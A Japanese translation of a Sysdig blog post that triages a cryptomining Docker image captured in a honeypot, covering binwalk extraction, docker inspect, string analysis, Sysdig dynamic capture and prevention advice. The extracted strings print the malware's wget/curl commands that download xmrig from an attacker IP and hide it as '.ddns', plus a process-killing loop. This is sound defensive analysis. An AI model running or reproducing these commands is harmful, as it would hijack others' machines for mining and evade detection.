本文の内容は、2022年3月1日にNicholas Langが投稿したブログ(https://sysdig.com/blog/triaging-malicious-docker-container/）を元に日本語に翻訳・再構成した内容となっております。
悪意のあるDockerコンテナは、比較的新しい攻撃形態で、公開されたDocker APIや脆弱なホストを利用して悪事を働きます。 この記事では、VirusTotalで未検出のマルウェアを含む悪意のあるイメージのトリアージを説明します（この記事の執筆時点では、このイメージは検出されていません）！
Docker APIのエンドポイントを世間に晒すと、様々な悪影響を及ぼす可能性があります。データの流出からクリプトマイナーマルウェア、APTのボットネットの一部となることまで、このような強力なサービスを無防備にしておく正当な理由はありません。
Docker APIが誤って公開された場合、マルウェア（最も一般的なのはクリプトマイナー）を実行するために、それを利用しようとする悪質業者がプロビジョニングされたリソースを利用しようとすること請け合いです。悪用されたコンテナ（より巧妙な悪意ある行為者であることを示す）の場合、ペイロードもまたより巧妙になる可能性があります。
今回分析する悪意のあるDockerイメージは、SysdigのDockerハニーポットで捕獲されたものです。さあ、はじめましょう！
トリアージプロセスのステップバイステップ
前述の通り、Sysdigリサーチチームは実際のシナリオをシミュレートするためにDocker APIを公開しました。
悪意のあるDockerコンテナが環境内で稼働を開始しました。このコンテナを抽出し、制御された条件下で分析し、その内容を調査して、侵害の指標を発見しました。
最後に、攻撃者の行動を特定し、検出方法の改善と将来のリスクの低減を図りました。
最初のステップ：情報収集
Sysdigのリサーチャーは、ハニーポットでapacheを装った新しいイメージに気づいた後、 docker save badguys/apache -o apach.bin を使ってフォレンジック分析を行うため、それをオフラインで引き出して保存しました。docker export を使用して実行中のコンテナのコピーを保存することもできましたが（従来のフォレンジッククローンと同様のプロセスで）、このトリアージの目的では、クリーンなイメージから開始すれば十分でしょう。
Binwalk – 静的解析
オープンソースの「ファームウェア解析ツール」であるBinwalkは、この特別な調査の大部分をガイドしてくれました。~/bad_docker> binwalk -e apach.bin
悪意のあるDockerコンテナをトリアージする binwalk 保存されたDockerイメージは単なるtarアーカイブであり、読者が選択したユーティリティで抽出可能であることがわかります。Binwalk はたまたまいくつかの抽出ユーティリティを内蔵して出荷されているので、-e -M フラグ (-efor extract, -Mfor “Matroyshka” or recursive extract) を付けてもう一度実行してみましょう。
~/bad_docker> binwalk -e -M apach.bin
十分なスパムターミナルを1回実行すると、binwalk が入力してくれた _apach.bin.extracted というディレクトリができます。
~/bad_docker> ls -al _apach.bin.extracted
この悪意のあるイメージには、大きさの異なる3つの層があることがわかります。Dockerのoverlayfsは、古いレイヤーを下に、新しいレイヤーを上に積み重ねています。一番外側（一番上）のレイヤーを見てみましょう。
~/b/_apach.bin.extracted> ls 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/
トリアージ悪意のあるDockerコンテナ抽出された層~/b/_apach.bin.extracted> ls 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/_layer.tar.extracted/
トリアージ悪意のあるDockerコンテナ抽出されたレイヤー lsすごい、ファイルシステムのルートディレクトリだ！
少し戻って、docker inspect を使ってイメージの起動コマンドを表示してみましょう。注：「Cmd/CM」は実行時に上書きすることができます（docker run <image> <overwritten_command>）。
今回のハニーポットでは、敵対者は以下のコマンドを上書きしないことを選択しました。
docker inspect bad_docker/apache | jq '.[].Config.Cmd'.
docker inspect bad_docker/apache | jq '.[].Config.WorkingDir'
docker inspect bad_docker/apache | jq '.[].Config.Entrypoint'
悪意のあるDockerコンテナをトリアージする jq`docker inspect`は、このコンテナが起動する際に、shのコマンド実行（-c）モードを介して、ファイル/home/.systemを実行することを知らせています。それを見てみると、以下のようになっています（コメントは私が付けました）。
~/b/_apach.bin.extracted [1]> cat 1d4a7fb12ad3fc5038ab1f7a6aac2ae07f5133e1bc0bf4f24a070142907605af/_layer.tar.extracted/home/.system | pygmentize
悪意のあるDockerコンテナpygmentizeのトリアージこのコンテナは、リポジトリの追加、イメージの更新、追加パッケージの追加を行っています。しかし、マルウェアのダウンローダーはバイナリの中に隠されています。最後に、良いものを紹介します 最初のバイナリ(httpd-crypto)で文字列を実行すると、いくつかの重要な文字列が表示されます：
/usr/bin/wgettnt /bin/TNTwget /usr/bin/TNTwget … if [[ ! -x ./%s ]];then https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz %s -fsSL -o %s/xmr %s wget -q --tries=3 --timeout=10 -O %s/xmr %s if ! [[ -f %s/xmr ]];then http://104.192.82.138/s3f1015/s/avg-610.tar.gz %s -q --tries=3 --timeout=10 -O %s/xmr %s tar -xf ./xmr mv xmrig*/xmrig ./.ddns chmod a+x ./.ddns rm -rf xmrig* rm -rf *xmr http://104.192.82.138/s3f1015/m/reg4.tar.gz .ddns.pid curl -fsSL -o %s/%s %s sh -c ./.chdir ./.chdir
wgetやcurlの場所を特定しようとする試みが見られ、その後、それらのバイナリを使用してMoneroマイナーのxmrigをダウンロードし、それを.ddnsにリネームし、その内容を隠そうとする試みが続いています。これは、セキュリティ侵害の指標となるものです。
次のバイナリ（httpd）からの文字列の抜粋です：
/var/tmp/.apache/...
.systemd-private-48a446e5619a44e191918f4
%s/%s
#/bin/sh
cp='%d'
/bin/httpd-crypto
ps -elf|grep %s|grep -v grep|awk '{print $4,$5}'|while read -r p pp ;do
if [ ${p} != ${cp} ];then
kill ${p}
done
httpd
/bin/httpd
文字列だけを見ても、これが何をするものなのか、かなりよくわかると思います。プロセスを検索してKillし（これは典型的な防御回避策です）、/bin/httpdにあるバイナリを実行します（驚き、さらなるマルウェアです！）。
この時点で、問題の不正なDockerイメージが悪意のあるものであることは、かなり確実です。
Sysdig OSS – 動的分析
Sysdigの脅威リサーチャーは、動的分析を行うために、この特定のイメージを私たちのDockerイメージサンドボックスで実行することができました。以下は、自動生成されたレポートから抜粋した、より興味深い結果の一部です。
Sysdigのリサーチャーである私たちは、Sysdigコマンドラインツールを使用して、システム活動のキャプチャーを収集しています。以下は、マルウェアが10分間実行される間にIPv4経由で行われたネットワーク接続です。
.ddnsによるリクエストは、web.hosting-russia.ruというホスト名のサーバーへのものです。
このプロセスはXMRigの名前を変えただけであることが分かっているため、この接続はそのマイニングプールへのものであると仮定して問題ありません。
悪意のあるDockerコンテナXMRigのトリアージ出力形式を少し操作すると、各プロセスのコマンドラインも見ることができるようになります 以下では、マルウェアが敵対者のホスティングサイトにcurlリクエストを行い、さらにマルウェアをダウンロードしたことがわかります。
悪意のあるDockerコンテナマルウェアのトリアージ curl次のフィルターを使用して、もう1つのSysdigコマンドで動的解析を終了します：”evt.type=open and evt.dir=< and proc.name in (apache2, sh) “。シェルスクリプトが、攻撃対象となる他のIPアドレスを検索しながら、/usr/share/.apacheにあるさまざまなファイルを開いていることがわかります。問題のマルウェアが公開されたDocker APIから発生したことを考えると、到達可能なネットワーク上の他の公開されたDocker APIに自身を伝播させようとすることは理にかなっています。
悪意のあるDockerイメージのトリアージ Docker APIこの特定の悪意のあるDockerイメージは、中国で最初に検出され、中国のリサーチャーによってこことここで詳細なトリアージが行われました。
これは現在もDocker Hubに “docker72590/apache “として残っています。
悪意のあるDockerコンテナを防止する
敵対者が公開されたDocker APIのエンドポイントを利用するのを防ぐ最善の方法は、そもそもそのエンドポイントを公開しないことです（これはデフォルトの設定です）。しかし、これは常に可能というわけではありません。エンドポイントを公開しなければならない場合、Docker社はSSH経由でDockerホストにログインできるユーザにのみDockerソケットを公開するよう、Dockerコンテキストを構成することを推奨しています。
Dockerコンテキストの作成に代わる補完的なソリューションとして、既知または署名済みのコンテナのみの実行を許可するゼロトラストインフラストラクチャーアーキテクチャーもあります。さらに、適切なゼロトラストの実装では、コンテナ間の通信は、コンテナ同士が事前共有証明書を介して認証できる場合にのみ可能であることが必要です。
まとめ
インシデント計画を持つことは、侵害の指標を得るためのレスポンスタイムと自動化を改善します。私たちの環境で実行されている信頼できないコンテナは、すでに大きな危険信号です。この記事では、悪意のあるDockerコンテナを迅速にトリアージするためのいくつかの手順の概要を説明しました。 このコンテナは主にMoneroのマイニングに関係しているため、業界の秘密を盗むことを目的とした国家的なマルウェアがロードされたコンテナほど重大な対応は必要ありません。
私たちセキュリティリサーチャーやDevOpsエンジニアは、誤って脅威となる人物に自分自身でさらしてしまった場合、この記事で詳しく説明したような事件から学んだ教訓に基づいて、防御策を改善する必要があります。
Sysdig Secureでは、他のオープンソースプロジェクトとともに、Falcoをアウトオブボックスのルールで拡張し、Kubernetesセキュリティの作業と管理をさらに容易にしています。30日間の無料トライアルに登録し、ご自身の目でお確かめください！